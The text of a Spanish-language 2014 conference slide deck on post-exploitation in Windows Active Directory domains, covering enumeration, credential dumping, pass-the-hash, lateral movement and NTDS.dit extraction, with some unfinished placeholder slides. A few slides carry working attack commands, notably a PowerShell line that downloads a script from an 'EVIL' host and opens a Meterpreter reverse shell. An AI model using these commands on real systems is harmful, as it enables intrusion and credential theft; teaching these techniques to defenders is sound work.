Post Explotacion en Entornos Windows

1. Titulo
Post Explotación en Entornos
Windows
PeruHack - Nov 2014
Mauricio Velazco
@mvelazco

2. @mvelazco
 Security Geek
 Red team -> blue team ( FS, NYC )
 NSM, IR, VM, AS, TI, AT
 Python – Powershell
 Algunas certs
CEH,CEI,Sec+,ECSA,CPTE

3. DEMO #0
Raspberry Hack

4. Threat Landscape

5. Post Explotacion
 Intelligence-Driven Computer Network Defense Informed
by Analysis of Adversary Campaigns and Intrusion Kill
Chains
Lockheed Martin

6. Windows & Active Directory Services

7. Windows & Active Directory Services
 Gestion de
Usuarios/Grupos/Computadoras
 AAA ( autenticacion, autorizacion,
auditoria)
 Configuracion/Hardening: GPO, SRP
 Estructura funcional

8. Powershell
 CLI & scripting environment
 Acceso a la API Win32 y .NET Framework
 Scripts corren en el contexto de
Powershell.exe

9. Premisa
 Atacante consiguio accceso como
usuario privilegiado
 Dominio Windows / Active Directory

10. Agenda
 Post Explotacion Local
 Lateral Movement
 Post Domain Admin

11. Post Explotacion
Local

12. Post Explotacion Local
 Basic Domain Enumeration
 Dump Hashes locales & dominio
 Impersonar Tokens -> Defcon 2007
 incognito
 Dumpear passwords en texto plano de
LSASS

13. DEMO #1
Soy admin y hago lo que
quiero

14. AD Enumeration

15. Tools Nativas
 Net*
 RSAT (Remote System Administration
Tools)
 Nltest.exe
 Dcdiag.exe
 Ntdsutil.exe
 Dsquery.exe, dsacls,exe, dsadd.exe, etc

16. Tools Nativas

17. Tools Nativas

18. Enumeracion LDAP
 http://ehopen-
sec.blogspot.com/2009/12/enumeracion-
ldap.html

19.  AD DS es un directorio basado en X.500
y accessible a traves de LDAP
 TCP 389, TCP 3268 (ldap over SSL )
 apt-get install ldap-utils
Enumeracion LDAP

20. DEMO #2
Enumeracion LDAP

21.  Interfaces para acceder a las funciones
de ADS
 Automatizacion de tareas comunes:
nuevo usuario, grupos, permisos, etc
 http://msdn.microsoft.com/en-
us/library/aa772170%28v=vs.85%29.aspx
Active Directory Service Interfaces

22. Metasploit & ADSI

23. Powershell & ADSI

24. Situational
Awareness

25. Situational Awareness

26. Situational Awareness
 Netsess
 http://www.joeware.net/freetools/
 Netview by Rob Fuller (mubix) – DB 12
 https://github.com/mubix/netview
 Veil-Powerview in Veil-Framework–DF 13
 https://github.com/Veil-Framwork

27. DEMO #4
Los hackers no
usan Windows

28. DLL Injection

29. Powershell & DLL Injection
 PowerSploit
 https://github.com/mattifestation/PowerSploit
 Invoke-ReflectiveDLLInjection
 Invoke-Mimikatz

30. DEMO #3
Los hackers no
usan Windows

31. Powershell Remoting
 WinRM: Windows Remote Management
(WS Management)
 MSF -> auxiliary/scanner/winrm/winrm_cmd
 SOAP => HTTP 5985 - HTTPS 5986
 Scripts corren WsmPRovHost.exe
 Default in Windows 2012

32. Windows Management Instrumentation
 Interfaz que implementa clases para
consultar informacion al SO
 Hardware, Software, Sistema Operativo
 Habilitado por defecto a partir de W2K
 RPC ( TCP 135 )

33. Windows Management Instrumentation

34. WMI & Powershell
 Get-WmiObject -ComputerName [CN]
-Class [WC]
 Win32_ComputerSystem
 Win32_Process
 Win32_Service
 Win32_Product
 Win32_QuickFixEngineering


35. DEMO #3
WMI

36. Lateral Movement

37. Pass The Hash

38. Pass The Hash – KB 2871997

39. Lateral Movement

40. Lateral Movement
 PsExec
 Psexec.exe computer ipconfig /all
 Use exploit/windows/smb/psexec
 PTH Toolkit
 pth-winexe -U D/user%LM:NTLM //IP cmd.exe

41. Smbexec – DerbyCon 2013
 Utliza msf para generar payloads
 Carga el payload en la victima utilizando
un cliente SAMBA
 Ejecuta el payload usando Winexe
 Lluvia de shells!

42. DEMO #4
Let the shells rain

43.  Tocar disco es requerido
 Crea un servicio
 AV vs msfencode
 Application Whitelisting
Smbexec – DerbyCon 2013

44. Smbexec – DerbyCon 2013

45. Meterpreter Shell con Powershell
 [ Net.WebClient ]
 Invoke-Expression
 PowerSploit -> Invoke-Shellcode.ps1
 https://github.com/mattifestation/PowerSploit
 Invoke-Shellcode -Payload
windows/meterpreter/reverse_https
-Lhost 10.1.16.114 -Lport 444

46. Meterpreter Shell con Powershell

47. Meterpreter Shell con Powershell
 IEX (New-Object
Net.WebClient).DownloadString("http://EVIL
/IS.ps1"); Invoke-Shellcode -Payload
windows/meterpreter/reverse_https -Lhost
10.1.16.114 -Lport 444 -Force

48. DEMO #5
Powershell Kung Fu

49. PowerShell Kung-Fu

50. Lateral Movement - Artifacts

51. Lateral Movement – Artifacts

52. Group Policy
 GP permite gestionar configuraciones
para usuarios y computadoras
miembros de un Dominio
 GPO -> Grupo de configuraciones
 XML en SYSVOL, todos los DCs

53. Group Policy
 rsop.msc
 gpresult /Scope User /v
 gpresult /Scope Computer /v

54. Group Policy Preferences – W2K8
 Service or scheduled task
 Mount network drives
 Local Administrator Accounts
 Cifrado con AES 256

55. Group Policy Preferences – W2K8

56. Group Policy Preferences

57. DEMO #6
GPP for the lulz

58. GPP – MS14-025

59. Post Domain Admin

60. NTDS.DIT
 La BD de AD es ntds.dit
 %SystemRoot%NTDSNtds.dit
 %SystemRoot%System32Ntds.dit
 Usuarios, computadoras, OU’s, hashes
 Extensible Storage Engine ( ESE )

61. NTDS.DIT

62.  PEK ( Password Encryption Key ). Misma
llave para el dominio, guardada en
NTDIS.DIT ( cifrada con BOOTKEY )
 Password hashes estan protegidos por
3 capas de cifrado ( PEK, RC4, DES )
NTDS.DIT

63.  PEK ( Password Encryption Key ). Misma
llave para el dominio, guardada en
NTDIS.DIT ( cifrada con BOOTKEY )
 Password hashes estan protegidos por
3 capas de cifrado ( PEK, RC4, DES )
NTDS.DIT

64.  NTDS.dit & SYSTEM ( locked by the OS )
 Libesedb
 https://code.google.com/p/libesedb/
 NtdsExtract
 http://www.ntdsxtract.com/
NTDS.DIT For Fun & Profit

65.  Fff
 Asd
 Asd
 asdasd
NTDS.DIT & Volume Shadow Copy

66. DEMO #7
NTDS For Fun & Profit

67.  Abusing Domain Trusts
 Persistence
 Golden Ticket
 asdasd
Extras

68. Titulo
Post Explotación en Entornos
Windows
PeruHack , Nov 2014
Mauricio Velazco
@mvelazco